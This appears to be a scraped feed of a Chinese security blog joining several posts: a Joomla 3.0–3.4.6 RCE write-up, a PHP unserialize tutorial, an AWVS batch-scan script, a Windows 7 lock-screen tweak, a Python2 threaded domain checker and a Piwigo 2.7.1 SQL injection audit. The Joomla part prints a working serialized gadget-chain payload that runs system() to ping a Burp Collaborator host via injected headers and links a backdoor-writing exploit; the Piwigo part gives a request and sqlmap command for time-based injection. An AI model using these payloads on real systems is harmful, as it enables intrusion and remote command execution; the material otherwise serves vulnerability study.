<div class="highlight"><pre><span></span><code><span class="x">O:21:"JDatabaseDriverMysqli":3:{s:13:"\x00*\x00justincase";O:17:"JSimplepieFactory":0:{}s:21:"\x00*\x00disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":4:{s:8:"sanitize";O:18:"SimplePie_Sanitize":0:{}s:8:"raw_data";s:5:"12138";s:8:"feed_url";s:88:"print(system('ping 7muhj0w6wr91quue8h8i53pxjoped3.burpcollaborator.net'));http://144.one";s:19:"cache_name_function";s:6:"assert";}i:1;s:4:"init";}}s:13:"\x00*\x00connection";i:1;}</span>
</code></pre></div>
<h2>漏洞利用</h2>
<p>根据前面的分析,我们可以构造出如下payload:</p>
<p>x-forwarded-for:</p>
<div class="highlight"><pre><span></span><code><span class="x">normal_x_for_warded_for\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0</span>
</code></pre></div>
<p>user-agent:</p>
<div class="highlight"><pre><span></span><code><span class="x">normal_user_agent1";s:3:"key";O:21:"JDatabaseDriverMysqli":3:{s:13:"\0\0\0justincase";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":4:{s:8:"sanitize";O:18:"SimplePie_Sanitize":0:{}s:8:"raw_data";s:5:"12138";s:8:"feed_url";s:88:"print(system('ping 7muhj0w6wr91quue8h8i53pxjoped3.burpcollaborator.net'));http://144.one";s:19:"cache_name_function";s:6:"assert";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:4:"key1";s:6:"value1";s:4:"key2";s:6:"value2";s:4:"key3";s:888:</span>
</code></pre></div>
<p>注意上面的<code>normal_user_agent1</code>,这里我又把<code>2</code>去掉了,是因为由于payload变长,之前的长度由两位数变成了三位数</p>
<p>session_decode方法可以正常解析我们构造的session数据</p>
<p><img alt="image-20210709124849105" src="Joomla! CMS 3.0~3.4.6 RCE.assets/image-20210709124849105.png"></p>
<p>我们只需要使用第一次请求返回的cookie再次发送请求即可完成命令执行</p>
<p><img alt="image-20210709124815875" src="Joomla! CMS 3.0~3.4.6 RCE.assets/image-20210709124815875.png"></p>
<h1>后记</h1>
<p>上面只能一次次地发起请求来进行命令执行,有一种更加方便的方式,就是直接将后门写入Joomla应用的根目录下的configuration.php文件中</p>
<p>这个文件是最理想的文件,它和index.php位于同一个目录,而且文件结尾没有<code>?></code>,我们可以通过file_put_contents方法将内容写入到该文件中</p>
<p>相比上面的exp,唯一需要变动的就是要让session_decode失败,从而将调用栈落回到index.php上</p>
<p>如果可以正常进行session_decode,那么调用栈的最低层会变成<code>libraries\joomla\database\driver\mysqli.php</code>,会出现找不到configuration.php文件的问题</p>
<p><a href="https://gitee.com/wochinijiamile/smartya/raw/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Djojo%E8%8E%B7%E5%8F%96%E5%AF%86%E7%A0%81.7z.7z">写入后门版exp链接</a></p>
<p>不足之处,欢迎指正</p>PHP反序列化2021-07-01T00:00:00+02:002021-07-01T00:00:00+02:0012138tag:None,2021-07-01:phpfan-xu-lie-hua.html<h1>前言</h1>
<p>100岁生日快乐!!!</p>
<p>noborderfuckbiasdfjiab135twriabiajisadguiasgfastfyouasguidagsajdga<img alt="download" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/flLFfOIhvI.jpg"></p>
<p>参考链接:</p>
<ul>
<li><a href="https://medium.com/swlh/diving-into-unserialize-3586c1ec97e">https://medium.com/swlh/diving-into-unserialize-3586c1ec97e</a></li>
<li><a href="https://paragonie.com/blog/2016/04/securely-implementing-de-serialization-in-php">https://paragonie.com/blog/2016/04/securely-implementing-de-serialization-in-php</a></li>
</ul>
<h1>正文</h1>
<p>PHP的反序列化函数<code>unserialize()</code>接受两个参数</p>
<ul>
<li>序列化字符串</li>
<li>选项</li>
</ul>
<p>对于PHP开发者来说,选项只有一个,要么不 …</p><h1>前言</h1>
<p>100岁生日快乐!!!</p>
<p>noborderfuckbiasdfjiab135twriabiajisadguiasgfastfyouasguidagsajdga<img alt="download" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/flLFfOIhvI.jpg"></p>
<p>参考链接:</p>
<ul>
<li><a href="https://medium.com/swlh/diving-into-unserialize-3586c1ec97e">https://medium.com/swlh/diving-into-unserialize-3586c1ec97e</a></li>
<li><a href="https://paragonie.com/blog/2016/04/securely-implementing-de-serialization-in-php">https://paragonie.com/blog/2016/04/securely-implementing-de-serialization-in-php</a></li>
</ul>
<h1>正文</h1>
<p>PHP的反序列化函数<code>unserialize()</code>接受两个参数</p>
<ul>
<li>序列化字符串</li>
<li>选项</li>
</ul>
<p>对于PHP开发者来说,选项只有一个,要么不设置,设置的话就只能是<code>allowed_classes</code></p>
<p>定义了<code>allowed_classes</code>选项之后,只有被PHP允许的类才能够被反序列化,否则会被初始化为<code>__PHP_Incomplete_Class</code></p>
<p>反序列化流程:</p>
<p><img alt="image-20210630165947906" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/usyzzMzsEe.jpg"></p>
<p>也就是说,只要我们的反序列化类实现了<code>__wakeup</code>或者<code>__destruct</code>中的任何一个方法,只要<code>serialized</code>方法反序列化了这样的对象,这两个方法就会被执行</p>
<p>反序列化一个对象需要满足一个前提</p>
<ul>
<li>这个类一定是被预先定义过的</li>
</ul>
<p>如果不满足这个前提,那么反序列化出来的类就是会被初始化为<code>__PHP_Incomplete_Class</code>,但是其类名和成员变量还是可以正常反序列化出来的,只是PHP认为他是一个没有被定义的类</p>
<p>php的<code>serialized</code>方法会保存被序列化的对象的所有属性(成员变量),有了这个,<code>unserialize</code>就能创建出一个原来的对象的copy</p>
<p><strong>copy创建出来之后,PHP会搜索该对象的<code>__wakeup</code>方法,如果找到了该方法,就会执行其中的代码,该方法一般用来恢复数据库连接,因为序列化的对象在传输过程中可能已经和数据库失去了连接,需要在该方法中编写代码来重新初始化连接</strong></p>
<p>然后就是对对象进行操作(调用对象的方法),最后销毁对象(调用<code>__destruct</code>方法)</p>
<p><strong>一旦攻击者控制类传递给<code>unserialize</code>方法的序列化字符串,那么攻击者就能够控制对象的属性(成员变量)</strong></p>
<p>biaojigaoliang1能够随心所欲的操作成员变量,就有可能控制程序执行的流程,进而达到RCEbiaojigaoliang2</p>
<p>利用反序列化漏洞需要两个前提:</p>
<ul>
<li>反序列化的类一定要被预先定义</li>
<li>biaojigaoliang1该类一定要拥有魔术方法<code>__wakeup</code>或者<code>__destruct</code>,不管最终存不存在漏洞,如果没有这两个方法,你连注入代码的机会都没有biaojigaoliang2</li>
</ul>
<h2>例子</h2>
<p>假如有下面这样一段代码:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">Fuck</span>
<span class="p">{</span>
<span class="k">private</span> <span class="nv">$test</span><span class="p">;</span>
<span class="k">function</span> <span class="fm">__destruct</span><span class="p">()</span>
<span class="p">{</span>
<span class="nb">system</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">test</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$obj</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nb">base64_decode</span><span class="p">(</span><span class="nx">此处接收用户输入</span><span class="p">));</span>
</code></pre></div>
<p>那么我们对应的exp就是:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">Fuck</span>
<span class="p">{</span>
<span class="k">private</span> <span class="nv">$test</span> <span class="o">=</span> <span class="s2">"hostname"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">print</span><span class="p">(</span><span class="nb">base64_encode</span><span class="p">(</span><span class="nb">serialize</span><span class="p">(</span><span class="k">new</span> <span class="nx">Fuck</span><span class="p">)));</span>
</code></pre></div>
<p><img alt="image-20210630191018877" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/pPvqMCEPJA.jpg"></p>
<h1>预防反序列化漏洞</h1>
<p>限制反序列化或者白名单</p>
<div class="highlight"><pre><span></span><code><span class="x">//不允许反序列化对象(初始化出一个__PHP_Incomplete_Class对象),但是你仍然可以反序列化其他的数据结构,比如数组等</span>
<span class="x">$object = unserialize($data, ['allowed_classes' => false]);</span>
<span class="x">//白名单,只能反序列化白名单中的类</span>
<span class="x">$whitelist = ['MyProject\\OtherNamespace\\ObjectAllowed'];</span>
<span class="x">$object = unserialize($data, ['allowed_classes' => $whitelist]);</span>
</code></pre></div>
<p>建议不要将用户输入用于反序列化</p>AWVS批量操作脚本2021-06-30T00:00:00+02:002021-06-30T00:00:00+02:0012138tag:None,2021-06-30:awvspi-liang-cao-zuo-jiao-ben.html<h1>前言</h1>
<p>最近用AWVS+XRay联动扫描,但是需要针对扫描目标配置代理以及扫描类型</p>
<p>但是AWVS只支持逐个配置,很烦,就撸了一个小脚本,放出来XDM一起使用,如果有任何问 …</p><h1>前言</h1>
<p>最近用AWVS+XRay联动扫描,但是需要针对扫描目标配置代理以及扫描类型</p>
<p>但是AWVS只支持逐个配置,很烦,就撸了一个小脚本,放出来XDM一起使用,如果有任何问题和改进建议,欢迎联系我邮箱</p>
<h1>正文</h1>
<p><a href="https://gitee.com/wochinijiamile/smartya/raw/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Dawvs%E8%8E%B7%E5%8F%96%E5%AF%86%E7%A0%81.7z">完整脚本代码</a></p>
<p>代码的12~17行使我们需要配置的地方</p>
<p>你可以在此配置awvs地址、x-auth、待扫描目标、代理以及扫描类型</p>
<p>扫描类型是一个预定的字典,就在代码开头处定义</p>
<p>然后我定义了四个方法:</p>
<ul>
<li>flirt,添加目标,以<code>,</code>分割的URL</li>
<li>kiss,配置目标</li>
<li>fuck,开始扫描</li>
<li>cum,停止并删除所有目标</li>
</ul>
<p><strong>这四个方法完全是孤立的,执行不分先后,根据自己的需求进行调用</strong></p>
<p>效果如下:</p>
<p><img alt="tttttt" src="AWVS 批量操作脚本.assets/tttttt.gif"></p>更改windows7锁屏界面2021-06-25T00:00:00+02:002021-06-25T00:00:00+02:0012138tag:None,2021-06-25:geng-gai-windows7suo-ping-jie-mian.html<h1>前言</h1>
<p>哎,就是玩儿</p>
<p>noborderfuckbiasdfjiab135twriabiajisadguiasgfastfyouasguidagsajdga<img alt="0278b7af95160a03-removebg-preview" id="fuckyouasgiasgdjagjk" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/XmlnVPqZSP.jpg"></p>
<h1>正文</h1>
<p>注册表打开<code>regedit</code></p>
<p><img alt="1624601841807" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/oDeVnJZljb.jpg"></p>
<p>如果没有<code>OEMBackground</code>键,就新建一个,值改成1</p>
<p>打开本地组策略<code>gpedit.msc</code></p>
<p><img alt="1624601951133" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/BsCGVHNgsE.jpg"></p>
<p>将<a href="https://gitee.com/wochinijiamile/smartya/blob/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Dlock%E8%8E%B7%E5%8F%96%E8%A7%A3%E5%8E%8B%E5%AF%86%E7%A0%81.7z">这张图片</a>重命名为<code>backgroundDefault …</code></p><h1>前言</h1>
<p>哎,就是玩儿</p>
<p>noborderfuckbiasdfjiab135twriabiajisadguiasgfastfyouasguidagsajdga<img alt="0278b7af95160a03-removebg-preview" id="fuckyouasgiasgdjagjk" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/XmlnVPqZSP.jpg"></p>
<h1>正文</h1>
<p>注册表打开<code>regedit</code></p>
<p><img alt="1624601841807" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/oDeVnJZljb.jpg"></p>
<p>如果没有<code>OEMBackground</code>键,就新建一个,值改成1</p>
<p>打开本地组策略<code>gpedit.msc</code></p>
<p><img alt="1624601951133" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/BsCGVHNgsE.jpg"></p>
<p>将<a href="https://gitee.com/wochinijiamile/smartya/blob/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Dlock%E8%8E%B7%E5%8F%96%E8%A7%A3%E5%8E%8B%E5%AF%86%E7%A0%81.7z">这张图片</a>重命名为<code>backgroundDefault.jpg</code>,该文件的大小不能超过256KB</p>
<p>在<code>C:\Windows\System32\oobe\</code>目录创建<code>info\backgrounds</code>目录</p>
<p>然后把上面的文件放进去</p>
<p>重启</p>
<p>更改成功</p>
<p><img alt="1624601981966" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/qICcZEIlvL.jpg"></p>Python2多线程2021-06-25T00:00:00+02:002021-06-25T00:00:00+02:0012138tag:None,2021-06-25:python2duo-xian-cheng.html<p>渗透测试过程中,经常需要编写一些python小工具</p>
<p>但是单线程太慢了,多线程可以极快地提高效率</p>
<p>我们可以直接通过一个例子来学 …</p><p>渗透测试过程中,经常需要编写一些python小工具</p>
<p>但是单线程太慢了,多线程可以极快地提高效率</p>
<p>我们可以直接通过一个例子来学习多线程脚本的编写</p>
<p>下面是一个验证域名是否有效的python脚本</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/python</span>
<span class="kn">import</span> <span class="nn">Queue</span>
<span class="kn">import</span> <span class="nn">threading</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="n">exitFlag</span> <span class="o">=</span> <span class="kc">False</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<span class="n">marylines</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
<span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">countttter</span> <span class="o">=</span> <span class="n">threading</span><span class="o">.</span><span class="n">Lock</span><span class="p">()</span>
<span class="n">countttterssss</span><span class="o">=</span><span class="mi">0</span>
<span class="n">tottttt</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">marylines</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">myThread</span> <span class="p">(</span><span class="n">threading</span><span class="o">.</span><span class="n">Thread</span><span class="p">):</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">threadID</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">q</span><span class="p">):</span>
<span class="n">threading</span><span class="o">.</span><span class="n">Thread</span><span class="o">.</span><span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">threadID</span> <span class="o">=</span> <span class="n">threadID</span>
<span class="bp">self</span><span class="o">.</span><span class="n">name</span> <span class="o">=</span> <span class="n">name</span>
<span class="bp">self</span><span class="o">.</span><span class="n">q</span> <span class="o">=</span> <span class="n">q</span>
<span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="nb">print</span> <span class="s2">"Starting "</span> <span class="o">+</span> <span class="bp">self</span><span class="o">.</span><span class="n">name</span>
<span class="n">process_data</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">name</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">q</span><span class="p">)</span>
<span class="nb">print</span> <span class="s2">"Exiting "</span> <span class="o">+</span> <span class="bp">self</span><span class="o">.</span><span class="n">name</span>
<span class="k">def</span> <span class="nf">process_data</span><span class="p">(</span><span class="n">threadName</span><span class="p">,</span> <span class="n">q</span><span class="p">):</span>
<span class="k">while</span> <span class="ow">not</span> <span class="n">exitFlag</span><span class="p">:</span>
<span class="n">queueLock</span><span class="o">.</span><span class="n">acquire</span><span class="p">()</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">workQueue</span><span class="o">.</span><span class="n">empty</span><span class="p">():</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">q</span><span class="o">.</span><span class="n">get</span><span class="p">()</span>
<span class="n">queueLock</span><span class="o">.</span><span class="n">release</span><span class="p">()</span>
<span class="nb">print</span> <span class="s2">"</span><span class="si">%s</span><span class="s2"> processing </span><span class="si">%s</span><span class="s2">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">threadName</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
<span class="c1">#print data</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">socket</span><span class="o">.</span><span class="n">gethostbyname</span><span class="p">(</span><span class="n">data</span><span class="o">.</span><span class="n">strip</span><span class="p">())</span>
<span class="n">filelock</span><span class="o">.</span><span class="n">acquire</span><span class="p">()</span>
<span class="n">ssssssssssssf</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">3</span><span class="p">],</span><span class="s1">'a'</span><span class="p">)</span>
<span class="n">ssssssssssssf</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="n">ssssssssssssf</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">filelock</span><span class="o">.</span><span class="n">release</span><span class="p">()</span>
<span class="k">except</span> <span class="n">socket</span><span class="o">.</span><span class="n">gaierror</span><span class="p">:</span>
<span class="nb">print</span> <span class="s2">"unable to get address for: "</span><span class="p">,</span> <span class="n">data</span>
<span class="n">countttter</span><span class="o">.</span><span class="n">acquire</span><span class="p">()</span>
<span class="k">global</span> <span class="n">countttterssss</span>
<span class="n">countttterssss</span> <span class="o">=</span> <span class="n">countttterssss</span> <span class="o">+</span> <span class="mi">1</span>
<span class="nb">print</span> <span class="nb">str</span><span class="p">(</span><span class="n">countttterssss</span><span class="p">)</span> <span class="o">+</span> <span class="s1">'-----------------------------'</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">tottttt</span><span class="p">)</span> <span class="o">+</span> <span class="s1">'</span><span class="se">\n</span><span class="s1">'</span>
<span class="n">countttter</span><span class="o">.</span><span class="n">release</span><span class="p">()</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">queueLock</span><span class="o">.</span><span class="n">release</span><span class="p">()</span>
<span class="c1"># time.sleep(1)</span>
<span class="n">threadList</span><span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">fuck</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="nb">int</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">])):</span>
<span class="n">threadList</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s2">"Thread-"</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">fuck</span><span class="p">))</span>
<span class="c1">#threadList = ["Thread-1", "Thread-2", "Thread-3"]</span>
<span class="c1">#nameList = ["One", "Two", "Three", "Four", "Five"]</span>
<span class="n">queueLock</span> <span class="o">=</span> <span class="n">threading</span><span class="o">.</span><span class="n">Lock</span><span class="p">()</span>
<span class="n">filelock</span> <span class="o">=</span> <span class="n">threading</span><span class="o">.</span><span class="n">Lock</span><span class="p">()</span>
<span class="n">workQueue</span> <span class="o">=</span> <span class="n">Queue</span><span class="o">.</span><span class="n">Queue</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">marylines</span><span class="p">))</span>
<span class="n">threads</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">threadID</span> <span class="o">=</span> <span class="mi">1</span>
<span class="c1"># Create new threads</span>
<span class="k">for</span> <span class="n">tName</span> <span class="ow">in</span> <span class="n">threadList</span><span class="p">:</span>
<span class="n">thread</span> <span class="o">=</span> <span class="n">myThread</span><span class="p">(</span><span class="n">threadID</span><span class="p">,</span> <span class="n">tName</span><span class="p">,</span> <span class="n">workQueue</span><span class="p">)</span>
<span class="n">thread</span><span class="o">.</span><span class="n">start</span><span class="p">()</span>
<span class="n">threads</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">thread</span><span class="p">)</span>
<span class="n">threadID</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="c1"># Fill the queue</span>
<span class="n">queueLock</span><span class="o">.</span><span class="n">acquire</span><span class="p">()</span>
<span class="k">for</span> <span class="n">word</span> <span class="ow">in</span> <span class="n">marylines</span><span class="p">:</span>
<span class="n">workQueue</span><span class="o">.</span><span class="n">put</span><span class="p">(</span><span class="n">word</span><span class="p">)</span>
<span class="n">queueLock</span><span class="o">.</span><span class="n">release</span><span class="p">()</span>
<span class="c1"># Wait for queue to empty</span>
<span class="k">while</span> <span class="ow">not</span> <span class="n">workQueue</span><span class="o">.</span><span class="n">empty</span><span class="p">():</span>
<span class="k">pass</span>
<span class="c1"># Notify threads it's time to exit</span>
<span class="n">exitFlag</span> <span class="o">=</span> <span class="kc">True</span>
<span class="c1"># Wait for all threads to complete</span>
<span class="k">for</span> <span class="n">t</span> <span class="ow">in</span> <span class="n">threads</span><span class="p">:</span>
<span class="n">t</span><span class="o">.</span><span class="n">join</span><span class="p">()</span>
<span class="nb">print</span> <span class="s2">"Exiting Main Thread"</span>
</code></pre></div>
<p>关于程序整个流程的解释</p>
<p>首先打开一个文件</p>
<p>进行readline操作,将每一行读取出来,形成一个列表存到marylines变量中</p>
<p>然后根据传入的第二个参数(线程数量),生成以数字进行编号的线程名称(这一部可以省略,因为线程无所谓名称),不进行编号脚本也可以正常工作</p>
<p>然后创建两个锁,一个用来锁队列,一个用来锁文件</p>
<p>创建一个队列,队列长度为marylines列表长度(待处理的域名)</p>
<p>声明一个空的threads列表,用于存储所有的变量,这个在后面join结束进程的时候会用到</p>
<p>在for循环中,启动所有进程同时将进程对象存入threads列表中</p>
<p>给队列加锁,然后往队列里面填充待处理的域名字符串,填充完毕,开锁</p>
<p>在队列空之前一直循环避免程序结束</p>
<p>然后我们来看线程的内容</p>
<p>主函数为process_data</p>
<p>给队列加锁,判断队列空了没</p>
<p>没空则取出来一个域名,然后开锁</p>
<p>打印出当前线程名称以及待处理的域名</p>
<p>用try-catche语句包裹域名解析的代码</p>
<p>使用<code>socket.gethostbyname</code>解析域名,抛出异常则后面的代码不会执行,打印出当前域名无法解析的信息</p>
<p>未抛出异常则给文件加锁,将域名以追加的形式写入到第三个参数指定的文件中</p>
<p>写入完毕,开锁</p>
<p>在try-catche语句外部,</p>
<p>给counter加锁,然后更改counter的值(+1),然后打印出当前counter的值以及总共的值,然后开锁</p>
<p>counter锁在程序最前面进行了声明</p>
<p>最后是判断队列是否为空的else分支:给队列开锁</p>
<p>我试了一下,直接开50个线程,速度还是很快的</p>Piwigo 2.7.1 SQLI学习2021-06-22T00:00:00+02:002021-06-22T00:00:00+02:0012138tag:None,2021-06-22:piwigo-271-sqlixue-xi.html<h1>前言</h1>
<p>本文没有什么技术含量,就是自己的代码审计学习笔记</p>
<h1>准备</h1>
<p>代码下载链接:</p>
<ul>
<li><a href="https://gitee.com/wochinijiamile/smartya/raw/master/piwigo-2.7.1.zip">https://gitee.com/wochinijiamile/smartya/raw/master/piwigo-2.7.1.zip</a></li>
</ul>
<p>php版本不能太高,这里用的是 …</p><h1>前言</h1>
<p>本文没有什么技术含量,就是自己的代码审计学习笔记</p>
<h1>准备</h1>
<p>代码下载链接:</p>
<ul>
<li><a href="https://gitee.com/wochinijiamile/smartya/raw/master/piwigo-2.7.1.zip">https://gitee.com/wochinijiamile/smartya/raw/master/piwigo-2.7.1.zip</a></li>
</ul>
<p>php版本不能太高,这里用的是php5.4.45,xdm可以直接<a href="https://gitee.com/wochinijiamile/smartya/raw/master/php5.4.45-nts-vc9-x86.7z">下载</a>,使用的时候注意修改一下配置文件中的<code>dll</code>文件路径,另外下面两个扩展要打开</p>
<ul>
<li>extension=php_gd2.dll</li>
<li>extension=php_mysql.dll</li>
</ul>
<p>mysql自不用多说,肯定也是要有的</p>
<p>进入piwigo目录,启动web应用:</p>
<div class="highlight"><pre><span></span><code>php5.4.45<span class="w"> </span>-S<span class="w"> </span><span class="m">10</span>.0.2.15:12345
</code></pre></div>
<h1>分析代码</h1>
<p>这个注入漏洞的成因就是<code>in_array</code>的强制类型转换</p>
<p>第一个参数会被强制转换为符合第二个参数(数组)中元素类型的数据类型</p>
<p>具体位置在<code>piwigo-2.7.1\piwigo\include\functions_rate.inc.php</code>的42行</p>
<p><img alt="image-20210622074133636" src="Piwigo 2.7.1 SQLI审计.assets/image-20210622074133636.png"></p>
<p>方法<code>rate_picture</code>是在<code>piwigo-2.7.1\piwigo\picture.php</code>的第344行调用的</p>
<p>向上回溯并进行调试,可以发现要想触发漏洞,需要两个前置条件(通过调试picture.php中的代码可以得出):</p>
<ul>
<li>要有用户权限</li>
<li>至少要上传一张照片到相册中</li>
</ul>
<p>然后在用户界面中一顿捣鼓(其实也没几个可以点的地方),发现下面这个地方会提交请求到<code>piwigo-2.7.1\piwigo\picture.php</code></p>
<p><img alt="image-20210622075048599" src="Piwigo 2.7.1 SQLI审计.assets/image-20210622075048599.png"></p>
<p>就是这个幻灯片放映这里,通过复制链接地址即可获得需要的参数:</p>
<div class="highlight"><pre><span></span><code>picture.php?/1/category/1<span class="p">&</span><span class="nv">slideshow</span><span class="o">=</span>
</code></pre></div>
<p>通过调试代码我们可以知道还需要一个get参数<code>action</code>,且值为<code>rate</code>,另外还需要一个post参数<code>rate</code>,这个参数的值就是用于构造SQLI载荷的参数:</p>
<p><img alt="image-20210622075632417" src="Piwigo 2.7.1 SQLI审计.assets/image-20210622075632417.png"></p>
<p>可以看到我们的<code>'</code>顺利进入了sql语句(虽然被转义了)</p>
<p>也就是说只要前面的是数字,整个变量就会被转换成后面数组元素的类型(本案例为int)</p>
<p>也就是<code>12412a98r90qw8riere</code>会被转换成<code>12412</code></p>
<p><strong>而且这种转换是默认的,只有你给<code>in_array</code>的第三个参数设置为true时,才不会进行这种强制类型转换</strong></p>
<p>最后我们再给http头加上cookie,保存成文件给sqlmap跑时间盲注就行了</p>
<div class="highlight"><pre><span></span><code>POST<span class="w"> </span>/picture.php?/1/category/1<span class="o">=</span><span class="p">&</span><span class="nv">slideshow</span><span class="o">=</span><span class="p">&</span><span class="nv">action</span><span class="o">=</span>rate<span class="w"> </span>HTTP/1.1
Host:<span class="w"> </span><span class="m">10</span>.0.2.15:2345
Cookie:<span class="w"> </span><span class="nv">pwg_id</span><span class="o">=</span>kerp8jdk2pr0vbcqp1bet4ap34
Cache-Control:<span class="w"> </span>no-cache
Content-Type:<span class="w"> </span>application/x-www-form-urlencoded
<span class="nv">rate</span><span class="o">=</span><span class="m">1</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code>sqlmap -r 1.txt -p rate -v 3 --tech=T
</code></pre></div>
<p><img alt="image-20210622082738764" src="Piwigo 2.7.1 SQLI审计.assets/image-20210622082738764.png"></p>Typora自定义图片上传 + csdn图床脚本2021-06-21T00:00:00+02:002021-06-21T00:00:00+02:0012138tag:None,2021-06-21:typorazi-ding-yi-tu-pian-shang-chuan-csdntu-chuang-jiao-ben.html<h1>前言</h1>
<p>刚才在弄CDN的时候因为忘记密码,所以用google邮箱收了一下邮件,意外的发现自己的<code>GoogleAdSense</code>竟然通过了!</p>
<p><img alt="image-20210620104943456" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/dkhUGmReft.jpg"></p>
<p><strong>Yes!!!!</strong></p>
<p>以前的都被驳回了,这次竟然成功了,而且是在1月份就通过了,我本来以 …</p><h1>前言</h1>
<p>刚才在弄CDN的时候因为忘记密码,所以用google邮箱收了一下邮件,意外的发现自己的<code>GoogleAdSense</code>竟然通过了!</p>
<p><img alt="image-20210620104943456" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/dkhUGmReft.jpg"></p>
<p><strong>Yes!!!!</strong></p>
<p>以前的都被驳回了,这次竟然成功了,而且是在1月份就通过了,我本来以为都没戏了,所以很久没看,辛亏今天发现了,不然再过几天就被重置了</p>
<p>赶紧发篇文章,希望网站点击量能蒸蒸日上!!!!</p>
<h1>正文</h1>
<p>之前在公众号上发过csdn图床的<a href="https://mp.weixin.qq.com/s/DioWYBSnOovqXz3f_KkB1w">脚本</a></p>
<p>后来发现服务器的空间越来越少了,其中占用空间最大的莫过于图片了,因此就想着把这个脚本利用起来,而碰巧最新版本的typora支持自定义图片上传脚本</p>
